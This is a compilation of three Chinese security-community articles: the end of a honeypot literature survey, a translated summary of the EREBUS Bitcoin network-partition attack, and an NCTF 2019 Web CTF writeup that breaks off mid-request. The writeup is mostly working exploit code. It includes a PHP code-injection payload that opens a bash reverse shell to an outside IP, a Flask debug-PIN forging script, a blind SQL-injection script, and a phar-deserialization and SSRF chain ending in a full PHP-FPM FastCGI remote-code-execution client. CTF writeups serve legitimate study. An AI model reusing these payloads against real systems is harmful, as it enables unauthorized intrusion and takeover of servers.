Project)。狩猎女神蜜网项目组对蜜网技术、网络攻击检测进行了多年的研究，从开始利用蜜罐收集攻击特征，建立攻击知识库和漏洞知识库，然后利用蜜罐技术来对互联网真实的网络攻防知识进行捕获和学习，并将研究成果应用到僵尸网络监测追踪上，后期基于蜜场框架构建网络主动安全防护技术。其中作为主要研究成员之一的诸葛建伟调职到清华大学安全团队后也一直在进行蜜罐技术的研究和实际的应用[18]，如在CNCERT部署Kippo蜜罐来进行SSH相关的攻击检测和数据分析。
综上这些国内外对于蜜罐技术及其应用的研究现状可知，蜜罐技术已经越来越广泛地被国内外研究者运用，但是截止目前将蜜罐技术应用到解决内网安全问题的研究还较少，而且现有的蜜罐技术方案往往结构和部署比较复杂，技术门槛较高，难以被更普遍地推广应用。因此本文就试图研究并设计一种部署简单使用方便的蜜罐技术方案，并将蜜罐技术应用到解决内网安全问题中。
# 0x03 蜜罐技术文章与产品参考
我重新搜索了曾经读过的以及一些新增的蜜罐科普文章，整理的文章链接如下（我稍微注意把易读的文章列在前边），方便想了解蜜罐技术的朋友阅读参考：
## 蜜罐技术科普
1. Kippo: 一款优秀的SSH蜜罐开源软件（2011.9.8）
<http://netsec.ccert.edu.cn/zhugejw/files/2011/09/Kippo-介绍.pdf>
<http://netsec.ccert.edu.cn/zhugejw/files/2011/09/Kippo介绍PPT.pdf>
2. 在CERNET实际部署Kippo 蜜罐（2011.9）
<http://www.edu.cn/sqt_9968/20120112/t20120112_731434.shtml>
3. Dionaea捕蝇草蜜罐介绍（2011.9.23）
<http://netsec.ccert.edu.cn/zhugejw/files/2011/09/Dionaea低交互式蜜罐介绍.pdf>
4. Dionaea低交互式蜜罐部署实践（2011.9.23）
<http://netsec.ccert.edu.cn/zhugejw/files/2011/09/Dionaea低交互式蜜罐部署实践.pdf>
5. 狩猎女神的前世今生（2011.11.28）
<http://netsec.ccert.edu.cn/zhugejw/2011/11/28/狩猎女神的前世今生/>
6. 从蜜罐数据到SSH蜜罐的典型攻击分析（2017.6.1）
<http://bobao.360.cn/learning/detail/3929.html>
## 部署实战
1. Dionaea低交互式蜜罐部署详解（2013.9.25）
<http://static.hx99.net/static/drops/tips-640.html>
2. Dionaea蜜罐指南（2015.1.13）
<http://static.hx99.net/static/drops/papers-4584.html>
3. Kippo蜜罐指南（2015.1.12）
<http://static.hx99.net/static/drops/papers-4578.html>
4. 蜜罐网络（2015.5.7）
<http://static.hx99.net/static/drops/papers-5968.html>
5. 基于MHN开源项目的树莓派蜜罐节点部署实战（2015.11.9）
<https://sosly.me/index.php/2017/07/11/mhndionaea/>
## 更多
1. Freebuf上有很多优秀的文章
<http://www.freebuf.com/?s=蜜罐>
2. The Honeynet Project
<http://www.honeynet.org/>
3. MHN现代密网项目
<http://threatstream.github.io/mhn/>
## 安全公司与产品
几家我一直关注的研发出蜜罐产品的企业，都是大牛团队，可以参考了解。
1. 默安科技幻盾
<https://www.moresec.cn/magic-shield.html>
2. 锦行科技幻云
<http://www.jeeseen.com/huanyun>
3. 长亭科技谛听
<https://chaitin.cn/cn/dsensor.html>
# 0x04 部分参考文献
这些文献大多是论文，通常高校的校园网访问图书馆系统或者一些第三方论文库都可以免费搜索访问。
* [2] 魏为民, 袁仲雄. 网络攻击与防御技术的研究与实践[J]. 信息网络安全, 2012(12):53-56.
* [3] 唐勇, 卢锡城, 胡华平,等. Honeypot技术及其应用研究综述[J]. Journal of Chinese Computer Systems, 2007, 28(8):1345-1351.
* [4] Wang C, Ding Z. Research on the interaction of honeynet and IDS[J]. The China Quarterly, 2011, 156(156):809-835.
* [5] Jain P, Sardana A. A hybrid honeyfarm based technique for defense against worm attacks[C] Information and Communication Technologies (WICT), 2011 World Congress on. IEEE, 2011:1084-1089.
* [6] 刘智宏. 基于蜜罐技术的企业网络安全防御系统研究与设计[D]. 上海交通大学, 2009.
* [7] 蜜罐网络[EB/OL]. <http://drops.wooyun.org/papers/5968>, 2015.5.7.
* [8] 诸葛建伟, 唐勇, 韩心慧, 等. 蜜罐技术研究与应用进展[J]. Journal of Software, 2013, 24(4).
* [9] 古开元. 基于蜜罐技术的蠕虫检测和防御系统的研究与设计[D]. 四川大学, 2006.
* [10] 李文瑾. 基于蜜罐技术的蠕虫特征自动提取技术的研究[D]. 华中科技大学, 2007.
* [11] 宋富强. 基于蜜罐技术的端口扫描检测系统的设计与实现[D]. 中南大学, 2008.
* [12] 李磊. 基于蜜罐技术的分布式入侵防御模型研究[D]. 西安理工大学, 2008.
* [13] 王建军. 基于蜜罐技术的网络攻击预警系统的研究与应用[D]. 上海交通大学, 2010.
* [14] 李曙强. 基于蜜罐技术的校园网络安全方法研究 [D]. 浙江工业大学, 2009.
* [15] 陈朕. 无线局域网蜜罐系统的设计[D]. 山东大学, 2008.
* [16] 徐明明. 蜜罐技术在网络安全中应用研究[D]. 南京信息工程大学, 2011.
* [17] 狩猎女神的前世今生[EB/OL]. <http://netsec.ccert.edu.cn/zhugejw/2011/11/28/狩猎女神的前世今生/>, 2011.11.28.
* [18]诸葛建伟, 魏克. 在 CERNET 实际部署 Kippo 蜜罐[J]. 中国教育网络, 2011 (9): 71-73.
* [37] 史伟奇, 程杰仁, 唐湘滟,等. 蜜罐技术及其应用综述[J]. 计算机工程与设计, 2008, 29(22):5725-5728.
* [38] Almotairi S, Clark A, Mohay G, et al. A Technique for Detecting New Attacks in Low-Interaction Honeypot Traffic[C]// International Conference on Internet Monitoring & Protection. IEEE Computer Society, 2009:7-13.
* [39] 刘风路. 蜜罐技术研究与分析[D]. 国防科学技术大学, 2006.
* [40] Alata E, Nicomette V, Kaa?Niche M, et al. Lessons learned from the deployment of a high-interaction honeypot[C]// Dependable Computing Conference, 2006. EDCC '06. Sixth European. IEEE, 2006:39-46.
* [41] Nicomette V, Kaaniche M, Alata E, et al. Set-up and deployment of a high-interaction honeypot: experiment and lessons learned[J]. Journal in Computer Virology, 2011, 7(2):143-157.
* [42] 邹文. 虚拟蜜罐在网络安全中的应用研究[D]. 湖南大学, 2008.
_系列文章，未完待续_...
* * *
_也欢迎访问我的博客：sosly 菜鸟笔记_
<https://sosly.me/> | 社区文章 |
# 针对比特币对等网络的隐蔽分区攻击（上）
|
##### 译文声明
本文是翻译文章，文章原作者 comp，文章来源：comp.nus.edu.sg
原文地址：<https://www.comp.nus.edu.sg/~kangms/papers/erebus-attack.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 Absert
网络攻击者例如恶意中转自治系统（ASes），能够通过路由级别的攻击来对比特币对等网络进行分区。例如，网络攻击者利用BGP漏洞并执行前缀劫持攻击。由于BGP的性质，这种劫持在全球范围内都是可观察到的，因此可以立即检测到攻击并确定攻击者。
在本文中提出了一种更秘密的攻击，称为EREBUS攻击，该攻击无需任何路由操作即可对比特币网络进行分区，这使得该攻击对于控制平面甚至数据平面均不可检测。EREBUS的新颖之处在于，它通过耐心地影响目标节点的对等决策，使攻击者AS成为一个或多个目标比特币节点的所有对等连接的自然中间人网络。
事实证明影响比特币节点的对等决策，在针对早期Eclipse攻击进行一系列漏洞修补后被认为是不可行的，但对于使用大量网络地址资源（例如，在许多其他AS中欺骗数百万个IP地址）的网络攻击者来说是可能的，并且成本可以忽略不计。
EREBUS攻击可轻松用于大型AS，例如Tier-1和大型Tier-2 AS，针对绝大多数10K公共比特币节点，每个目标比特币节点的攻击流量仅约520
bit / s，且拥有适度（例如5-6周）的攻击执行期。
## 0x02 Partitioning Bitcoin Nodes
简要回顾一下现有的两种最著名的攻击：比特币劫持和Eclipse攻击
### **A.比特币网络分区的动机**
**•攻击比特币共识：**
划分一组矿工的攻击者可能会停止最新的区块链状态，从而浪费他们的挖矿工作。将一部分矿工（例如30％）从网络的其余部分中划分出来，可以使一个甚至无法控制大部分采矿能力（例如40％）的攻击者发动51％的攻击。此外，攻击者可以利用自私挖矿攻击劫持分区矿工的计算能力，以挖掘其区块链。而且即使在谨慎等待区块链上的某些区块确认之后，分区的比特币节点（例如，连接到商家，交易所或SPV客户的节点）也容易受到双花攻击。
**•攻击比特币的链下协议：** 攻击者阻止分区的受害者节点在区块链上结算支付渠道，并从受害者的链下交易中窃取受害者的资金。
**•破坏加密货币：** 一个强大的攻击者，甚至可能旨在破坏加密货币的底层基础对等网络的很大一部分。在较小的规模上，攻击者可以任意审查受害者的交易。
### **B.比特币劫持和缺陷**
比特币劫持攻击者利用BGP劫持流量，以转发特定（例如，最多/
24）的IP前缀，其中包括目标比特币节点的IP地址。当攻击者AS劫持节点的所有域间路由时，他控制（例如，注入，删除，修改，延迟）目标节点的比特币消息。此外，比特币劫持攻击还提出了几种算法，以找到必须一起劫持的目标比特币节点集，以将所有比特币节点与对等网络的其余部分高度隔离。
**主要缺点：**
比特币劫持攻击的一个主要缺点是，攻击者在发起攻击后（例如5-10分钟）会立即向公众披露其身份。众所周知，用于比特币劫持攻击的BGP劫持消息会传播到整个网络，并最终由全局路由监视系统（例如RIPE
，RouteViews
）观察到。当路由监视系统捕获比特币劫持消息时，可以轻松识别出攻击的执行者，因为其AS号必须包含在劫持消息中。在揭露攻击者之后，比特币劫持攻击可能会引起巨大的政治争议。
### C.日蚀攻击和对策
如前所述，Eclipse攻击直接操纵了受害比特币节点的对等选择决策。比特币节点通过传入对等连接（即由其他对等体发起的连接）和传出对等连接（即由节点本身发起的连接）维持与其他对等方的许多连接。选择传出连接时，比特币节点从其内部数据库中选择对等IP地址，特别是new表（包含从对等方获知的IP地址）和tried表（包含该节点曾经连接到的IP地址）。
在引入Eclipse攻击之前，比特币协议在管理和使用两个表中的IP地址时存在多个漏洞。即，任何远程攻击者都能够以最小的努力用任意的IP地址填充目标节点的两个表，从而最终控制目标节点的对等连接决策。比特币社区迅速修补了这些漏洞。几种对策中最值得注意的一项是禁止任何远程攻击者直接访问两个表之一（即tried表）。结果，攻击者只能直接填充另一个表（即new表），而不能同时填充两个表。而且，在修补之后，填充new表变得更加困难。这些修复程序和其他一些修复程序使带有僵尸网络的攻击者无法进行Eclipse攻击。
## 0x03 EREBUS Attack
上图是EREBUS攻击的高级概述。 恶意自治系统（AS）M间接将AS
V中目标比特币节点的所有对等连接切换到其他精心选择的比特币节点，以将自身定位在受害节点的所有对等连接的中间。
此攻击不需要任何路由操作（例如，劫持BGP路径），从而使自身无法被控制平面异常检测系统检测到。
着重于攻击者的AS网络如何设法控制目标受害者比特币节点的所有对等连接（此处仅显示两个）。 攻击者AS无需操纵底层路由协议，而是将受害节点（在AS
V中）的现有传出对等连接（请参见蓝色虚线虚线）更改为与比特币节点（在 AS C和D），其受害者到节点的域间路径包括攻击者AS M。
结果，攻击者AS最终被放置在受害节点的所有对等连接的路径上。值得注意的是，影响远程比特币节点的对等决定被认为对于最新的比特币核心（0.18.0版）不可行，因为所有相关的错误已在早期的Eclipse攻击后得到修复。具体来说，拥有数千个傀儡机的远程攻击者不再可以强制目标比特币节点专门连接到其傀儡机。
与通常的看法相反，EREBUS网络攻击者仍然可以影响比特币节点的对等决策。攻击之所以可行，不是因为比特币核心实现中有任何新发现的错误，而是因为成为网络攻击者的基本拓扑优势。也就是说，EREBUS攻击者自治系统作为一个稳定的中间人网络，可以在延长的时间段内（例如，数个个星期或更多）可靠地利用大量的网络地址（例如，模拟数百万个或更多的有效IP地址）。
EREBUS攻击者AS可以同时攻击多个精心选择的比特币节点（例如，流行采矿池的网关），以进行强大的比特币分区攻击。由于EREBUS攻击并未利用比特币核心实现的特定漏洞，因此似乎没有简单，快速的补丁可用。
## 0x04 Threat Model
类似于比特币劫持攻击，考虑一个完全控制单个AS网络的攻击者，称其为攻击者AS。攻击者可以任意插入/修改/删除/延迟通过其网络的任何消息。攻击者的目标是控制比特币对等网络中目标节点的所有对等连接。目标是大约1万个接受传入连接的比特币节点。由于缺乏公共IP接口而无法接受传入连接的比特币节点（例如，网络地址转换（NAT）后面的节点或通过Tor桥连接的节点）不在本文攻击范围内。
此外，认为目标比特币节点在整个攻击执行期间具有可靠的IP地址。假设比特币分区攻击的主要目标将是众所周知的且有影响力的节点（例如，流行矿池的网关节点），它们将以稳定的IP地址可靠地运行。请注意，即使目标节点更改了其IP地址（例如DHCP），攻击者也可以通过比特币节点指纹技术来识别具有不同IP的同一节点。
假设一个比特币节点在任何给定时间只能受到一个攻击者攻击。当两个或多个攻击者同时攻击同一节点时，攻击的成功率可能会由于他们的竞争而下降。
## 0x05 Naive EREBUS Attack
攻击者是一个恶意的AS（例如图中的AS M），将一个良性的比特币节点作为受害者（例如图中的AS
V中的节点）。由于攻击者可能不在受害节点的原始对等连接的路径上（请参见蓝色虚线虚线），因此攻击目标是强制受害节点连接到其他良性比特币节点（例如，AS
C或D），以便受害者节点的已更改对等连接（请参见红色实线箭头）遍历攻击者AS。
请注意，应仔细选择受害者的新比特币对等节点，以使受害者到节点的路由（例如，V到D的路由）包括攻击者AS
M。攻击者重复此操作直至其服务受害者节点的所有对等连接。作为受害者节点对等连接的自然中间人网络，攻击者AS现在可以插入/修改/删除/延迟从他选择的比特币对等节点传递到受害者节点的任何比特币消息，有效控制受害节点；即达到了攻击目标。
**技术挑战：**
尽管从直观上讲吸引人，但由于几种有限的未知攻击功能，在实践中实施朴素的EREBUS攻击非常困难。首先，可能没有足够数量的良性比特币节点（例如，AS
C或D中的节点），其到受害节点的通信路径恰好包含攻击者AS。
请注意，当前一个比特币节点可能最多具有125个对等连接，因此在正确的位置，需要125个或更多这样的比特币对等节点才能进行可靠的攻击。其次，即使存在足够数量的此类比特币对等节点，仍然很难影响任何比特币节点的对等选择，尤其是在已部署了多种对策来阻止Eclipse攻击之后。
## 0x06 Full EREBUS Attack
现在描述EREBUS攻击的完整版本，EREBUS攻击者不仅使用现有的比特币节点，而且还使用其受害者到IP地址路由包括攻击者AS的任何有效IP地址。例如，图中的攻击者AS
M可以枚举AS C和D中的大量有效IP地址，并迫使受害节点与任何枚举的IP地址进行对等。称此类攻击者枚举的IP地址为影子IP。
影子IP代表虚拟的（因此可能不存在的）比特币节点，该节点可能成为受害者到节点的路由，包括攻击者的AS。重要的是要注意，真正的比特币节点甚至任何主机都不一定使用影子IP。影子IP仅用于向受害者提供对等网络的逻辑视图，并且从攻击者节点劫持并完成从受害者节点连接到它们的任何尝试，并由攻击者AS进行正常的比特币消息交换。
用以下两个攻击阶段描述EREBUS攻击：侦察阶段（步骤I）和攻击执行阶段（步骤II）。
**[步骤I]收集影子IP。** 在此步骤中，攻击者旨在收集尽可能多的IP地址，这些IP地址可用于影子IP。如上图所示，此步骤包含三个子步骤。
在步骤I-➊中，攻击者评估域间路由状态，并枚举可能具有其受害节点到节点数据包将遍历其自己的网络M的节点的所有AS。
在步骤I-➋中，攻击者枚举所有所选AS中的可用IP地址，并将它们用于受害人专用的影子IP，并将其插入其数据库中。
在步骤I-➌中，攻击者测试来自受害节点的数据包是否确实经过其网络到达所选的影子IP。请注意，此测试步骤可以集成到下一个攻击执行步骤中。对于大型攻击者AS和典型的受害节点，可以轻松获得数以千万计的影子IP。
**[步骤II]创建受害者阴影对等连接。**
在此攻击执行步骤中，攻击者旨在耐心地影响受害者节点，使其仅与它在步骤I中获取的影子IP建立对等连接。请注意，不再可以用某些僵尸网络控制比特币的对等决策。
EREBUS攻击者利用了成为网络攻击者的基本优势。也就是说，攻击者AS在数周内可靠地模拟了数百万个或更多的影子IP，以缓慢填充受害者节点的内部数据库。
在步骤II-➊中，攻击者代表其选择的多个影子IP与受害者节点建立传入连接。尤其是，攻击者通过欺骗影子IP地址来发起比特币版本的握手。
然后，在步骤II-➋中，攻击者在addr消息中使用大量的影子IP淹没受害节点的内部IP地址表
在步骤II-➌中，攻击者等待受害者的现有传出连接自然断开，并替换为与影子IP的连接。为了加快该过程，攻击者可能会触发受害者节点进行重置，并从内部表中选择新的连接。
## 0x07 Attack Properties
**•无法检测：** 比特币劫持攻击与EREBUS攻击之间的最大区别在于，前者是仅控制平面的攻击，而后者是仅数据平面的攻击。
EREBUS攻击者不会传播任何控制平面消息（例如，路由通告），因此对于控制平面监视器（例如BGP消息收集器和分析工具，例如RIPE ，RouteView ，
CAIDA BGPStream）。
由于数据平面流量的数量大得多，因此互联网上不存在数据平面流量的公共存储库，这使得对EREBUS攻击的公众审查几乎变得不可能。一些谨慎而愿意的AS可能会使用其深包检查（DPI）功能来捕获来自可疑AS的所有比特币消息，并尝试识别EREBUS攻击的任何可疑数据平面消息（例如，在第二步中交换的比特币消息）。但是，EREBUS攻击者总是可以拒绝执行攻击，因为如果没有任何负责任的互联网体系结构，就无法确定数据包的实际发起者。
**•立即可用：** 事实证明，对于几乎所有（19.5万个）公共10K比特币节点，任何Tier-1
AS都可以轻松使用EREBUS攻击。同样，许多大型Tier-2
AS可以将网络中的大多数公共比特币节点作为目标。攻击者AS的网络覆盖范围很重要，因为域间拓扑中的网络覆盖范围越大（例如，提供到多个大洲的连接的Tier-1
AS），通常更多的影子IP地址可用于EREBUS攻击。
**•缺乏细化的对策：**
由于EREBUS攻击不会利用任何特定的协议漏洞，而只能利用网络攻击者的基本拓扑优势，因此很难找到简单，快速的修复方法。潜在有效的对策要么违反了比特币的分权哲学（例如，依赖第三方代理），要么要求对比特币核心进行不重要的更改（也尚未通过验证）。
## 0x08 Conclution
本文简要介绍了隐蔽分区攻击的威胁模型和攻击方式，并回顾一下现有的比特币劫持和Eclipse攻击。在下一篇文章中，将继续介绍如何获得影子IP、创建受害者影子连接和对EREBUS攻击的评价总结与防御对策。
本文表明如果没有仔细考虑EREBUS攻击来精心设计其对等协议，则这些大型AS的拓扑优势使他们可以控制区块链的对等连接。希望此工作能引发关于加强数千种加密货币的新讨论，即针对强大，复杂的的网络攻击者。 | 社区文章 |
# NJUPT CTF 天璇Writeup
[TOC]
## Web
### hacker_backdoor
import requests
url = "http://nctf2019.x1ct34m.com:60004/?useful=/etc/passwd&code=$a=%22create_f%22.%22unction%22;$c=$a(%27%27,$_POST[a]);$c();"
print requests.post(url,data={'a':"""
$descriptorspec=array(
0=>array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
);
$handle=proc_open('bash -c "bash -i >& /dev/tcp/122.152.230.160/2333 0>&1"',$descriptorspec,$pipes,NULL);
var_dump($handle);
"""}).text
### simple XSS
随便注册后发现直接可以XSS，但是没有任何方向，这个时候admin账户被注册过了，想法是直接用admin的cookie登入，搭建好平台后，向admin发送XSS
payload，瞬间看到了admin的cookie.
burp将其自己用户的COOKIE替换成为admin的cookie，得到flag：NCTF{Th1s_is_a_Simple_xss}
### flask_website
任意文件读+PIN-Debug，docker模式下machine-id有变化。更新脚本即可
#!/usr/bin/python2.7
#coding:utf-8n
from sys import *
import requests
import re
from itertools import chain
import hashlib
def genpin(mac,mid):
probably_public_bits = [
'ctf',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.6/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
mac = "0x"+mac.replace(":","")
mac = int(mac,16)
private_bits = [
str(mac),# str(uuid.getnode()), /sys/class/net/eth0/address
str(mid)# get_machine_id(), /proc/sys/kernel/random/boot_id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
# 02:42:ac:16:00:02 /sys/class/net/eth0/address
# 21e83dfd-206c-4e80-86be-e8d0afc467a1 /proc/sys/kernel/random/boot_id
def getcode(content):
try:
return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
except:
return ''
def getshell():
print genpin("02:42:ac:16:00:02","8657e88ac278e9225ba324bb8033ca3398c16c7b517417b55c1f164e90d97a46")
if __name__ == '__main__':
print(getshell())
### SQLi
原题
import requests
url = "http://nctf2019.x1ct34m.com:40005/index.php"
flag = ""
k = 0
list = "qwertyuiopasdfghjklzxcvbnm_0123456789"
while True:
k+= 1
print k,
for i in list:
p = len(requests.post(url,data={
"passwd":"""||passwd/**/REGEXP/**/"^\\{}";\x00""".format(flag+i),
"username":'\\'
}).text)
if p == 48:
# print chr(i)
flag += i
print flag
break
### easyphp
套娃题
>
> `http://nctf2019.x1ct34m.com:60005/?num=23333%0a&str1=2120624&str2=240610708&q%20w%20q=c\at%20*`
### phar matches everything
Phar+SSRF+FPM
<?php
class Easytest{
protected $test;
public function __construct(){
$this->test = '1';
}
public function funny_get(){
return $this->test;
}
}
class Main {
public $url;
public function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}
public function __destruct(){
$this_is_a_easy_test=unserialize($_GET['careful']);
if($this_is_a_easy_test->funny_get() === '1'){
echo $this->curl($this->url);
}
}
}
$a = new Easytest();
echo urlencode(serialize($a));
//O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D
$m = new Main();
$url = $argv[1];
$m->url = "";
#!coding=utf8
import requests
import re
file = open('phar.phar')
url1 = "http://nctf2019.x1ct34m.com:40004/upload.php"
url2 = "http://nctf2019.x1ct34m.com:40004/catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D"
def upload():
content = requests.post(url1,files={"fileToUpload":('1.gif',file)}).text
print content
return re.findall(r"file (.*) has",content)[0].strip()
def req(filename):
print requests.post(url2,data={
'name':'phar:///var/www/html/uploads/{}/test.txt'.format(filename),
'submit':1
}).text
name = upload()
print name
req(name)
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'safe_mode=Off\nopen_basedir=Off\ndisable_functions=Off\nallow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
### Fake XML cookbook
F12看了一眼发现
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
用XML和服务器通讯，联想到XXE攻击
burp抓post包得到
POST /doLogin.php HTTP/1.1
